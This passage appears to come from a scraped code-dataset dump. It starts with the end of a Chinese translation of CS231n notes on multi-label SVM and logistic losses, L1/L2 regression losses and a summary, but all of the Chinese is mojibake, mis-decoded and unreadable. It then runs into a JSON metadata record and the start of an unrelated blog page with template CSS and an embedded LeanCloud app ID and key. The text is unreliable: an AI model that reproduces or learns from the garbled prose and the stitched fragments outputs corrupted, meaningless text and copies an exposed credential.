‡็ญพใ€‚ๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹๏ผŒไธ€ไธชๆ˜Žๆ™บ็š„ๆ–นๆณ•ๆ˜ฏไธบๆฏไธชๅฑžๆ€งๅˆ›ๅปบไธ€ไธช็‹ฌ็ซ‹็š„ไบŒๅˆ†็ฑป็š„ๅˆ†็ฑปๅ™จใ€‚ไพ‹ๅฆ‚๏ผŒ้’ˆๅฏนๆฏไธชๅˆ†็ฑป็š„ไบŒๅˆ†็ฑปๅ™จไผš้‡‡็”จไธ‹้ข็š„ๅ…ฌๅผ๏ผš\n$$\nL_i=\\sum_j\\max(0,1-y_{ij}f_j)\n$$\nไธŠๅผไธญ๏ผŒๆฑ‚ๅ’Œๆ˜ฏๅฏนๆ‰€ๆœ‰ๅˆ†็ฑป$j$๏ผŒ$y_{ij}$็š„ๅ€ผไธบ1ๆˆ–่€…-1๏ผŒๅ…ทไฝ“ๆ นๆฎ็ฌฌiไธชๆ ทๆœฌๆ˜ฏๅฆ่ขซ็ฌฌjไธชๅฑžๆ€งๆ‰“ๆ ‡็ญพ่€Œๅฎš๏ผŒๅฝ“่ฏฅ็ฑปๅˆซ่ขซๆญฃ็กฎ้ข„ๆต‹ๅนถๅฑ•็คบ็š„ๆ—ถๅ€™๏ผŒๅˆ†ๅ€ผๅ‘้‡$f_j$ไธบๆญฃ๏ผŒๅ…ถไฝ™ๆƒ…ๅ†ตไธบ่ดŸใ€‚ๅฏไปฅๅ‘็Žฐ๏ผŒๅฝ“ไธ€ไธชๆญฃๆ ทๆœฌ็š„ๅพ—ๅˆ†ๅฐไบŽ+1๏ผŒๆˆ–่€…ไธ€ไธช่ดŸๆ ทๆœฌๅพ—ๅˆ†ๅคงไบŽ-1็š„ๆ—ถๅ€™๏ผŒ็ฎ—ๆณ•ๅฐฑไผš็ดฏ่ฎกๆŸๅคฑๅ€ผใ€‚\n\nๅฆไธ€็งๆ–นๆณ•ๆ˜ฏๅฏนๆฏ็งๅฑžๆ€ง่ฎญ็ปƒไธ€ไธช็‹ฌ็ซ‹็š„้€ป่พ‘ๅ›žๅฝ’ๅˆ†็ฑปๅ™จใ€‚ไบŒๅˆ†็ฑป็š„้€ป่พ‘ๅ›žๅฝ’ๅˆ†็ฑปๅ™จๅชๆœ‰ไธคไธชๅˆ†็ฑป๏ผˆ0๏ผŒ1๏ผ‰๏ผŒๅ…ถไธญๅฏนไบŽๅˆ†็ฑป1็š„ๆฆ‚็Ž‡่ฎก็ฎ—ไธบ๏ผš\n$$\nP(y=1|x;w,b)=\\frac{1}{1+e^{-(w^Tx+b)}}=\\sigma(w^Tx+b)\n$$\nๅ› ไธบ็ฑปๅˆซ0ๅ’Œ็ฑปๅˆซ1็š„ๆฆ‚็Ž‡ๅ’Œไธบ1๏ผŒๆ‰€ไปฅ็ฑปๅˆซ0็š„ๆฆ‚็Ž‡ไธบ๏ผš$\\displaystyle P(y=0|x;w,b)=1-P(y=1|x;w,b)$ใ€‚่ฟ™ๆ ท๏ผŒๅฆ‚ๆžœ$\\sigma(w^Tx+b)>0.5$ๆˆ–่€…$w^Tx+b>0$๏ผŒ้‚ฃไนˆๆ ทๆœฌๅฐฑ่ฆ่ขซๅˆ†็ฑปๆˆไธบๆญฃๆ ทๆœฌ๏ผˆy=1๏ผ‰ใ€‚็„ถๅŽๆŸๅคฑๅ‡ฝๆ•ฐๆœ€ๅคงๅŒ–่ฟ™ไธชๅฏนๆ•ฐไผผ็„ถๅ‡ฝๆ•ฐ๏ผŒ้—ฎ้ข˜ๅฏไปฅ็ฎ€ๅŒ–ไธบ๏ผš\n$$\nL_i=\\sum_jy_{ij}\\log(\\sigma(f_j)) +(1-y_{ij})\\log(1-\\sigma(f_j))\n$$\nไธŠๅผไธญ๏ผŒๅ‡่ฎพๆ ‡็ญพ$y_{ij}$้ž0ๅณ1๏ผŒ$\\sigma(.)$ๅฐฑๆ˜ฏsigmoidๅ‡ฝๆ•ฐใ€‚ไธŠ้ข็š„ๅ…ฌๅผ็œ‹่ตทๆฅๅ“ไบบ๏ผŒไฝ†ๆ˜ฏ$f$็š„ๆขฏๅบฆๅฎž้™…ไธŠ้žๅธธ็ฎ€ๅ•๏ผš$\\displaystyle \\frac{\\partial L_i}{\\partial f_j}=y_{ij}-\\sigma(f_j)$๏ผˆไฝ ๅฏไปฅ่‡ชๅทฑๆฑ‚ๅฏผๆฅ้ชŒ่ฏ๏ผ‰ใ€‚\n\n**ๅ›žๅฝ’้—ฎ้ข˜**ๆ˜ฏ้ข„ๆต‹ๅฎžๆ•ฐ็š„ๅ€ผ็š„้—ฎ้ข˜๏ผŒๆฏ”ๅฆ‚้ข„ๆต‹ๆˆฟไปท๏ผŒ้ข„ๆต‹ๅ›พ็‰‡ไธญๆŸไธชไธœ่ฅฟ็š„้•ฟๅบฆ็ญ‰ใ€‚ๅฏนไบŽ่ฟ™็ง้—ฎ้ข˜๏ผŒ้€šๅธธๆ˜ฏ่ฎก็ฎ—้ข„ๆต‹ๅ€ผๅ’Œ็œŸๅฎžๅ€ผไน‹้—ด็š„ๆŸๅคฑใ€‚็„ถๅŽ็”จL2ๅนณๆ–น่Œƒๅผๆˆ–L1่Œƒๅผๅบฆ้‡ๅทฎๅผ‚ใ€‚ๅฏนไบŽๆŸไธชๆ ทๆœฌ๏ผŒL2่Œƒๅผ่ฎก็ฎ—ๅฆ‚ไธ‹๏ผš\n$$\nL_i=||f-y_i||^2_2\n$$\nไน‹ๆ‰€ไปฅๅœจ็›ฎๆ ‡ๅ‡ฝๆ•ฐไธญ่ฆ่ฟ›่กŒๅนณๆ–น๏ผŒๆ˜ฏๅ› ไธบๆขฏๅบฆ็ฎ—่ตทๆฅๆ›ดๅŠ ็ฎ€ๅ•ใ€‚ๅ› ไธบๅนณๆ–นๆ˜ฏไธ€ไธชๅ•่ฐƒ่ฟ็ฎ—๏ผŒๆ‰€ไปฅไธ็”จๆ”นๅ˜ๆœ€ไผ˜ๅ‚ๆ•ฐใ€‚L1่Œƒๅผๅˆ™ๆ˜ฏ่ฆๅฐ†ๆฏไธช็ปดๅบฆไธŠ็š„็ปๅฏนๅ€ผๅŠ ่ตทๆฅ๏ผš\n$$\nL_i=||f-y_i||_1=\\sum_j|f_j-(y_i)_j|\n$$\nๅœจไธŠๅผไธญ๏ผŒๅฆ‚ๆžœๆœ‰ๅคšไธชๆ•ฐ้‡่ขซ้ข„ๆต‹ไบ†๏ผŒๅฐฑ่ฆๅฏน้ข„ๆต‹็š„ๆ‰€ๆœ‰็ปดๅบฆ็š„้ข„ๆต‹ๆฑ‚ๅ’Œ๏ผŒๅณ$\\sum_j$ใ€‚่ง‚ๅฏŸ็ฌฌiไธชๆ ทๆœฌ็š„็ฌฌj็ปด๏ผŒ็”จ$\\delta_{ij}$่กจ็คบ้ข„ๆต‹ๅ€ผไธŽ็œŸๅฎžๅ€ผไน‹้—ด็š„ๅทฎๅผ‚ใ€‚ๅ…ณไบŽ่ฏฅ็ปดๅบฆ็š„ๆขฏๅบฆ๏ผˆไนŸๅฐฑๆ˜ฏ$\\partial L_i/\\partial f_j$๏ผ‰่ƒฝๅคŸ่ฝปๆพๅœฐ้€š่ฟ‡่ขซๆฑ‚ๅฏผไธบL2่Œƒๅผ็š„$\\delta_{ij}$ๆˆ–$sign(\\delta_{ij})$ใ€‚่ฟ™ๅฐฑๆ˜ฏ่ฏด๏ผŒ่ฏ„ๅˆ†ๅ€ผ็š„ๆขฏๅบฆ่ฆไนˆไธŽ่ฏฏๅทฎไธญ็š„ๅทฎๅ€ผ็›ดๆŽฅๆˆๆฏ”ไพ‹๏ผŒ่ฆไนˆๆ˜ฏๅ›บๅฎš็š„ๅนถไปŽๅทฎๅ€ผไธญ็ปงๆ‰ฟsignใ€‚\n\n*ๆณจๆ„*๏ผšL2ๆŸๅคฑๆฏ”่ตท่พƒไธบ็จณๅฎš็š„SoftmaxๆŸๅคฑๆฅ๏ผŒๅ…ถๆœ€ไผ˜ๅŒ–่ฟ‡็จ‹่ฆๅ›ฐ้šพๅพˆๅคšใ€‚็›ด่ง‚่€Œ่จ€๏ผŒๅฎƒ้œ€่ฆ็ฝ‘็ปœๅ…ทๅค‡ไธ€ไธช็‰นๅˆซ็š„ๆ€ง่ดจ๏ผŒๅณๅฏนไบŽๆฏไธช่พ“ๅ…ฅ๏ผˆๅ’Œๅขž้‡๏ผ‰้ƒฝ่ฆ่พ“ๅ‡บไธ€ไธช็กฎๅˆ‡็š„ๆญฃ็กฎๅ€ผใ€‚่€ŒๅœจSoftmaxไธญๅฐฑไธๆ˜ฏ่ฟ™ๆ ท๏ผŒๆฏไธช่ฏ„ๅˆ†็š„ๅ‡†็กฎๅ€ผๅนถไธๆ˜ฏ้‚ฃไนˆ้‡่ฆ๏ผšๅชๆœ‰ๅฝ“ๅฎƒไปฌ้‡็บง้€‚ๅฝ“็š„ๆ—ถๅ€™๏ผŒๆ‰ๆœ‰ๆ„ไน‰ใ€‚่ฟ˜ๆœ‰๏ผŒL2ๆŸๅคฑ้ฒๆฃ’ๆ€งไธๅฅฝ๏ผŒๅ› ไธบๅผ‚ๅธธๅ€ผๅฏไปฅๅฏผ่‡ดๅพˆๅคง็š„ๆขฏๅบฆใ€‚ๆ‰€ไปฅๅœจ้ขๅฏนไธ€ไธชๅ›žๅฝ’้—ฎ้ข˜ๆ—ถ๏ผŒๅ…ˆ่€ƒ่™‘ๅฐ†่พ“ๅ‡บๅ˜ๆˆไบŒๅ€ผๅŒ–ๆ˜ฏๅฆ็œŸ็š„ไธๅคŸ็”จใ€‚ไพ‹ๅฆ‚๏ผŒๅฆ‚ๆžœๅฏนไธ€ไธชไบงๅ“็š„ๆ˜Ÿ็บง่ฟ›่กŒ้ข„ๆต‹๏ผŒไฝฟ็”จ5ไธช็‹ฌ็ซ‹็š„ๅˆ†็ฑปๅ™จๆฅๅฏน1-5ๆ˜Ÿ่ฟ›่กŒๆ‰“ๅˆ†็š„ๆ•ˆๆžœไธ€่ˆฌๆฏ”ไฝฟ็”จไธ€ไธชๅ›žๅฝ’ๆŸๅคฑ่ฆๅฅฝๅพˆๅคšใ€‚ๅˆ†็ฑป่ฟ˜ๆœ‰ไธ€ไธช้ขๅค–ไผ˜็‚น๏ผŒๅฐฑๆ˜ฏ่ƒฝ็ป™ๅ‡บๅ…ณไบŽๅ›žๅฝ’็š„่พ“ๅ‡บ็š„ๅˆ†ๅธƒ๏ผŒ่€Œไธๆ˜ฏไธ€ไธช็ฎ€ๅ•็š„ๆฏซๆ— ๆŠŠๆก็š„่พ“ๅ‡บๅ€ผใ€‚ๅฆ‚ๆžœ็กฎไฟกๅˆ†็ฑปไธ้€‚็”จ๏ผŒ้‚ฃไนˆไฝฟ็”จL2ๆŸๅคฑๅง๏ผŒไฝ†ๆ˜ฏไธ€ๅฎš่ฆ่ฐจๆ…Ž๏ผšL2้žๅธธ่„†ๅผฑ๏ผŒๅœจ็ฝ‘็ปœไธญไฝฟ็”จ้šๆœบๅคฑๆดป๏ผˆๅฐคๅ…ถๆ˜ฏๅœจL2ๆŸๅคฑๅฑ‚็š„ไธŠไธ€ๅฑ‚๏ผ‰ไธๆ˜ฏๅฅฝไธปๆ„ใ€‚\n\n> ๅฝ“้ขๅฏนไธ€ไธชๅ›žๅฝ’ไปปๅŠก๏ผŒ้ฆ–ๅ…ˆ่€ƒ่™‘ๆ˜ฏไธๆ˜ฏๅฟ…้กป่ฟ™ๆ ทใ€‚ไธ€่ˆฌ่€Œ่จ€๏ผŒๅฐฝ้‡ๆŠŠไฝ ็š„่พ“ๅ‡บๅ˜ๆˆไบŒๅˆ†็ฑป๏ผŒ็„ถๅŽๅฏนๅฎƒไปฌ่ฟ›่กŒๅˆ†็ฑป๏ผŒไปŽ่€Œๅ˜ๆˆไธ€ไธชๅˆ†็ฑป้—ฎ้ข˜ใ€‚\n\n**็ป“ๆž„ๅŒ–้ข„ๆต‹๏ผˆstructured prediction๏ผ‰ใ€‚**็ป“ๆž„ๅŒ–ๆŸๅคฑๆ˜ฏๆŒ‡ๆ ‡็ญพๅฏไปฅๆ˜ฏไปปๆ„็š„็ป“ๆž„๏ผŒไพ‹ๅฆ‚ๅ›พ่กจใ€ๆ ‘ๆˆ–่€…ๅ…ถไป–ๅคๆ‚็‰ฉไฝ“็š„ๆƒ…ๅ†ตใ€‚้€šๅธธ่ฟ™็งๆƒ…ๅ†ต่ฟ˜ไผšๅ‡่ฎพ็ป“ๆž„็ฉบ้—ด้žๅธธๅทจๅคง๏ผŒไธๅฎนๆ˜“่ฟ›่กŒ้ๅŽ†ใ€‚็ป“ๆž„ๅŒ–SVM่ƒŒๅŽ็š„ๅŸบๆœฌๆ€ๆƒณๅฐฑๆ˜ฏๅœจๆญฃ็กฎ็š„็ป“ๆž„$y_i$ๅ’Œๅพ—ๅˆ†ๆœ€้ซ˜็š„้žๆญฃ็กฎ็ป“ๆž„ไน‹้—ด็”ปๅ‡บไธ€ไธช่พน็•Œใ€‚่งฃๅ†ณ่ฟ™็ฑป้—ฎ้ข˜๏ผŒๅนถไธๆ˜ฏๅƒ่งฃๅ†ณไธ€ไธช็ฎ€ๅ•ๆ— ้™ๅˆถ็š„ๆœ€ไผ˜ๅŒ–้—ฎ้ข˜้‚ฃๆ ทไฝฟ็”จๆขฏๅบฆไธ‹้™ๅฐฑๅฏไปฅไบ†๏ผŒ่€Œๆ˜ฏ้œ€่ฆ่ฎพ่ฎกไธ€ไบ›็‰นๆฎŠ็š„่งฃๅ†ณๆ–นๆกˆ๏ผŒ่ฟ™ๆ ทๅฏไปฅๆœ‰ๆ•ˆๅˆฉ็”จๅฏนไบŽ็ป“ๆž„็ฉบ้—ด็š„็‰นๆฎŠ็ฎ€ๅŒ–ๅ‡่ฎพใ€‚ๆˆ‘ไปฌ็ฎ€่ฆๅœฐๆไธ€ไธ‹่ฟ™ไธช้—ฎ้ข˜๏ผŒไฝ†ๆ˜ฏ่ฏฆ็ป†ๅ†…ๅฎนๅฐฑ่ถ…ๅ‡บๆœฌ่ฏพ็จ‹่Œƒๅ›ดใ€‚\n\n## ๅฐ็ป“\n\nๅฐ็ป“ๅฆ‚ไธ‹๏ผš\n\n- ๆŽจ่็š„้ข„ๅค„็†ๆ“ไฝœๆ˜ฏๅฏนๆ•ฐๆฎ็š„ๆฏไธช็‰นๅพ้ƒฝ่ฟ›่กŒ้›ถไธญๅฟƒๅŒ–๏ผŒ็„ถๅŽๅฐ†ๅ…ถๆ•ฐๅ€ผ่Œƒๅ›ด้ƒฝๅฝ’ไธ€ๅŒ–ๅˆฐ[-1,1]่Œƒๅ›ดไน‹ๅ†…ใ€‚\n- ไฝฟ็”จๆ ‡ๅ‡†ๅทฎไธบ$\\sqrt{2/n}$็š„้ซ˜ๆ–ฏๅˆ†ๅธƒๆฅๅˆๅง‹ๅŒ–ๆƒ้‡๏ผŒๅ…ถไธญ$n$ๆ˜ฏ่พ“ๅ…ฅ็š„็ฅž็ปๅ…ƒๆ•ฐใ€‚ไพ‹ๅฆ‚็”จnumpyๅฏไปฅๅ†™ไฝœ๏ผš**w = np.random.randn(n) \\* sqrt(2.0/n)**ใ€‚\n- ไฝฟ็”จL2ๆญฃๅˆ™ๅŒ–ๅ’Œ้šๆœบๅคฑๆดป็š„ๅ€’็ฝฎ็‰ˆๆœฌใ€‚\n- ไฝฟ็”จๆ‰น้‡ๅฝ’ไธ€ๅŒ–ใ€‚\n- ่ฎจ่ฎบไบ†ๅœจๅฎž่ทตไธญๅฏ่ƒฝ่ฆ้ขๅฏน็š„ไธๅŒไปปๅŠก๏ผŒไปฅๅŠๆฏไธชไปปๅŠกๅฏนๅบ”็š„ๅธธ็”จๆŸๅคฑๅ‡ฝๆ•ฐใ€‚\n\n็Žฐๅœจ๏ผŒๆˆ‘ไปฌ้ข„ๅค„็†ไบ†ๆ•ฐๆฎ๏ผŒๅˆๅง‹ๅŒ–ไบ†ๆจกๅž‹ใ€‚ๅœจไธ‹ไธ€่Š‚ไธญ๏ผŒๆˆ‘ไปฌๅฐ†่ฎจ่ฎบ็ฎ—ๆณ•็š„ๅญฆไน ่ฟ‡็จ‹ๅŠๅ…ถ่ฟไฝœ็‰นๆ€งใ€‚\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CS231n_Neural_Nets_notes_2.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.5910049080848694, "alphanum_fraction": 0.6375247836112976, "avg_line_length": 31.00801658630371, "blob_id": "5514c61f25882fa2da00346565bfa50c1bece06f", "content_id": "197747435c20098d31c417c9353bb6cbc510e165", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 59596, "license_type": "no_license", "max_line_length": 680, "num_lines": 1497, "path": "/blog/Intro2sp/C1.Sampling_and_Reconstruction.html", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "<!doctype html>\n<!-- https://distill.pub/guide/ -->\n<!-- <script src=\"https://distill.pub/template.v1.js\"></script> -->\n<script src=\"../../static/js/template.v1.js\"></script>\n<!-- <script src=\"../static/js/checklists.js\"></script> -->\n<meta charset=\"utf-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge,chrome=1\">\n<!-- Loading MathJax Only on Pages with Math -->\n<script src=\"../../static/js/check-for-tex.js\" defer></script>\n\n<script src=\"https://code.jquery.com/jquery-3.2.0.min.js\"></script>\n<!-- <script src=\"https://cdn1.lncld.net/static/js/av-core-mini-0.6.1.js\"></script> -->\n<!-- https://releases.leanapp.cn/#/leancloud/javascript-sdk/releases -->\n<!-- <script src=\"../../static/js/av-min.js\"></script> -->\n<!-- <script src=\"https://cdn.jsdelivr.net/npm/[email protected]/dist/av-min.js\"></script> -->\n<script src=\"https://cdn1.lncld.net/static/js/3.10.0/av-min.js\"></script>\n<script>\n// AV.initialize(\"z7OUaWC8R1WH996rR7ghCzC5-MdYXbMMI\", \"q9CqiRjUXmAG6dDBBg7UdQfY\");\nvar APP_ID = 'z7OUaWC8R1WH996rR7ghCzC5-MdYXbMMI';\nvar APP_KEY = 'q9CqiRjUXmAG6dDBBg7UdQfY';\n\nAV.init({\n appId: APP_ID,\n appKey: APP_KEY\n});\n</script>\n\n<style id=\"distill-prerendered-styles\" type=\"text/css\">\n /*\n * Copyright 2018 The Distill Template Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n html {\n font-size: 14px;\n line-height: 1.6em;\n /* font-family: \"Libre Franklin\", \"Helvetica Neue\", sans-serif; */\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen, Ubuntu, Cantarell, \"Fira Sans\", \"Droid Sans\", \"Helvetica Neue\", Arial, sans-serif;\n /*, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";*/\n text-size-adjust: 100%;\n -ms-text-size-adjust: 100%;\n -webkit-text-size-adjust: 100%;\n }\n\n @media(min-width: 768px) {\n html {\n font-size: 16px;\n }\n }\n\n body {\n margin: 0;\n }\n\n a {\n color: #004276;\n }\n\n figure {\n margin: 0;\n }\n\n table {\n border-collapse: collapse;\n border-spacing: 0;\n }\n\n table th {\n text-align: left;\n }\n\n table thead {\n border-bottom: 1px solid rgba(0, 0, 0, 0.05);\n }\n\n table thead th {\n padding-bottom: 0.5em;\n }\n\n table tbody :first-child td {\n padding-top: 0.5em;\n }\n\n pre {\n overflow: auto;\n max-width: 100%;\n }\n\n p {\n margin-top: 0;\n margin-bottom: 1em;\n }\n\n sup,\n sub {\n vertical-align: baseline;\n position: relative;\n top: -0.4em;\n line-height: 1em;\n }\n\n sub {\n top: 0.4em;\n }\n\n .kicker,\n .marker {\n font-size: 15px;\n font-weight: 600;\n color: rgba(0, 0, 0, 0.5);\n }\n\n /* Figure */\n\n figure {\n position: relative;\n margin-bottom: 2.5em;\n margin-top: 1.5em;\n }\n\n figcaption+figure {}\n\n figure img {\n width: 100%;\n }\n\n figure svg text,\n figure svg tspan {}\n\n figcaption,\n .figcaption {\n color: rgba(0, 0, 0, 0.6);\n font-size: 12px;\n line-height: 1.5em;\n }\n\n @media(min-width: 1024px) {\n\n figcaption,\n .figcaption {\n font-size: 13px;\n }\n }\n\n figure.external img {\n background: white;\n border: 1px solid rgba(0, 0, 0, 0.1);\n box-shadow: 0 1px 8px rgba(0, 0, 0, 0.1);\n padding: 18px;\n box-sizing: border-box;\n }\n\n figcaption a {\n color: rgba(0, 0, 0, 0.6);\n }\n\n figcaption b,\n figcaption strong,\n {\n font-weight: 600;\n color: rgba(0, 0, 0, 1.0);\n }\n\n /*\n * Copyright 2018 The Distill Template Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n @supports not (display: grid) {\n\n .base-grid,\n distill-header,\n dt-abstract,\n dt-article,\n dt-appendix,\n distill-appendix,\n dt-byline,\n dt-footnote-list,\n dt-citation-list,\n distill-footer {\n display: block;\n padding: 8px;\n }\n }\n\n .base-grid,\n distill-header,\n dt-abstract,\n dt-article,\n dt-appendix,\n distill-appendix,\n dt-byline,\n dt-footnote-list,\n dt-citation-list,\n distill-footer {\n display: grid;\n justify-items: stretch;\n grid-template-columns: [screen-start] 8px [page-start kicker-start text-start gutter-start middle-start] 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr [text-end page-end gutter-end kicker-end middle-end] 8px [screen-end];\n grid-column-gap: 8px;\n }\n\n .grid {\n display: grid;\n grid-column-gap: 8px;\n }\n\n @media(min-width: 768px) {\n\n .base-grid,\n distill-header,\n dt-abstract,\n dt-article,\n dt-appendix,\n distill-appendix,\n dt-byline,\n dt-footnote-list,\n dt-citation-list,\n distill-footer {\n grid-template-columns: [screen-start] 1fr [page-start kicker-start middle-start text-start] 45px 45px 45px 45px 45px 45px 45px 45px [ kicker-end text-end gutter-start] 45px [middle-end] 45px [page-end gutter-end] 1fr [screen-end];\n grid-column-gap: 16px;\n }\n\n .grid {\n grid-column-gap: 16px;\n }\n }\n\n @media(min-width: 1000px) {\n\n .base-grid,\n distill-header,\n dt-abstract,\n dt-article,\n dt-appendix,\n distill-appendix,\n dt-byline,\n dt-footnote-list,\n dt-citation-list,\n distill-footer {\n grid-template-columns: [screen-start] 1fr [page-start kicker-start] 50px [middle-start] 50px [text-start kicker-end] 50px 50px 50px 50px 50px 50px 50px 50px [text-end gutter-start] 50px [middle-end] 50px [page-end gutter-end] 1fr [screen-end];\n grid-column-gap: 16px;\n }\n\n .grid {\n grid-column-gap: 16px;\n }\n }\n\n @media(min-width: 1180px) {\n\n .base-grid,\n distill-header,\n dt-abstract,\n dt-article,\n dt-appendix,\n distill-appendix,\n dt-byline,\n dt-footnote-list,\n dt-citation-list,\n distill-footer {\n grid-template-columns: [screen-start] 0.01fr [page-start kicker-start] 0px [middle-start] 0px [text-start kicker-end] 60px 60px 60px 60px 60px 60px 60px 60px [text-end gutter-start] 60px [middle-end] 60px [page-end gutter-end] 1fr [screen-end];\n grid-column-gap: 30px;\n }\n\n .grid {\n grid-column-gap: 50px;\n }\n }\n\n\n\n\n .base-grid {\n grid-column: screen;\n }\n\n /* .l-body,\n dt-article > * {\n grid-column: text;\n }\n \n .l-page,\n dt-title > *,\n dt-figure {\n grid-column: page;\n } */\n\n .l-gutter {\n grid-column: gutter;\n }\n\n .l-text,\n .l-body {\n grid-column: text;\n }\n\n .l-page {\n grid-column: page;\n }\n\n .l-body-outset {\n grid-column: middle;\n }\n\n .l-page-outset {\n grid-column: page;\n }\n\n .l-screen {\n grid-column: screen;\n }\n\n .l-screen-inset {\n grid-column: screen;\n padding-left: 16px;\n padding-left: 16px;\n }\n\n\n /* Aside */\n\n dt-article aside {\n grid-column: gutter;\n font-size: 12px;\n line-height: 1.6em;\n color: rgba(0, 0, 0, 0.6)\n }\n\n @media(min-width: 768px) {\n aside {\n grid-column: gutter;\n }\n\n .side {\n grid-column: gutter;\n }\n }\n\n /*\n * Copyright 2018 The Distill Template Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n dt-byline {\n contain: style;\n overflow: hidden;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n font-size: 0.8rem;\n line-height: 1.8em;\n padding: 1.5rem 0;\n min-height: 1.8em;\n }\n\n\n dt-byline .byline {\n grid-template-columns: 1fr 1fr;\n grid-column: text;\n }\n\n @media(min-width: 768px) {\n dt-byline .byline {\n grid-template-columns: 1fr 1fr 1fr 1fr;\n }\n }\n\n dt-byline .authors-affiliations {\n grid-column-end: span 2;\n grid-template-columns: 1fr 1fr;\n margin-bottom: 1em;\n }\n\n @media(min-width: 768px) {\n dt-byline .authors-affiliations {\n margin-bottom: 0;\n }\n }\n\n dt-byline h3 {\n font-size: 0.6rem;\n font-weight: 400;\n color: rgba(0, 0, 0, 0.5);\n margin: 0;\n text-transform: uppercase;\n }\n\n dt-byline p {\n margin: 0;\n }\n\n dt-byline a,\n dt-article dt-byline a {\n color: rgba(0, 0, 0, 0.8);\n text-decoration: none;\n border-bottom: none;\n }\n\n dt-article dt-byline a:hover {\n text-decoration: underline;\n border-bottom: none;\n }\n\n dt-byline p.author {\n font-weight: 500;\n }\n\n dt-byline .affiliations {}\n\n /*\n * Copyright 2018 The Distill Template Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n dt-article {\n contain: layout style;\n overflow-x: hidden;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n padding-top: 2rem;\n color: rgba(0, 0, 0, 0.8);\n }\n\n dt-article>* {\n grid-column: text;\n }\n\n @media(min-width: 768px) {\n dt-article {\n font-size: 16px;\n }\n }\n\n @media(min-width: 1024px) {\n dt-article {\n font-size: 16px;\n line-height: 1.7em;\n }\n }\n\n\n /* H2 */\n\n\n dt-article .marker {\n text-decoration: none;\n border: none;\n counter-reset: section;\n grid-column: kicker;\n line-height: 1.7em;\n }\n\n dt-article .marker:hover {\n border: none;\n }\n\n dt-article .marker span {\n padding: 0 3px 4px;\n border-bottom: 1px solid rgba(0, 0, 0, 0.2);\n position: relative;\n top: 4px;\n }\n\n dt-article .marker:hover span {\n color: rgba(0, 0, 0, 0.7);\n border-bottom: 1px solid rgba(0, 0, 0, 0.7);\n }\n\n dt-article h2 {\n font-weight: normal;\n font-size: 24px;\n line-height: 1.25em;\n margin: 2rem 0 1.5rem 0;\n border-bottom: 1px solid rgba(0, 0, 0, 0.1);\n padding-bottom: 1rem;\n }\n\n @media(min-width: 1024px) {\n dt-article h2 {\n font-size: 2em;\n }\n }\n\n /* H3 */\n\n dt-article h3 {\n font-weight: 400;\n font-size: 18px;\n line-height: 1.4em;\n margin-bottom: 1em;\n margin-top: 2em;\n }\n\n @media(min-width: 1024px) {\n dt-article h3 {\n font-size: 20px;\n }\n }\n\n /* H4 */\n\n dt-article h4 {\n font-weight: 600;\n text-transform: uppercase;\n font-size: 14px;\n line-height: 1.4em;\n }\n\n dt-article a {\n color: #0645ad;\n }\n\n dt-article p,\n dt-article ul,\n dt-article ol,\n dt-article blockquote {\n margin-top: 0;\n margin-bottom: 1em;\n margin-left: 0;\n margin-right: 0;\n }\n\n dt-article blockquote {\n border-left: 2px solid rgba(0, 0, 0, 0.2);\n padding-left: 2em;\n font-style: italic;\n color: rgba(0, 0, 0, 0.6);\n }\n\n dt-article a {\n border-bottom: 1px solid rgba(0, 0, 0, 0.4);\n text-decoration: none;\n }\n\n dt-article a:hover {\n border-bottom: 1px solid rgba(0, 0, 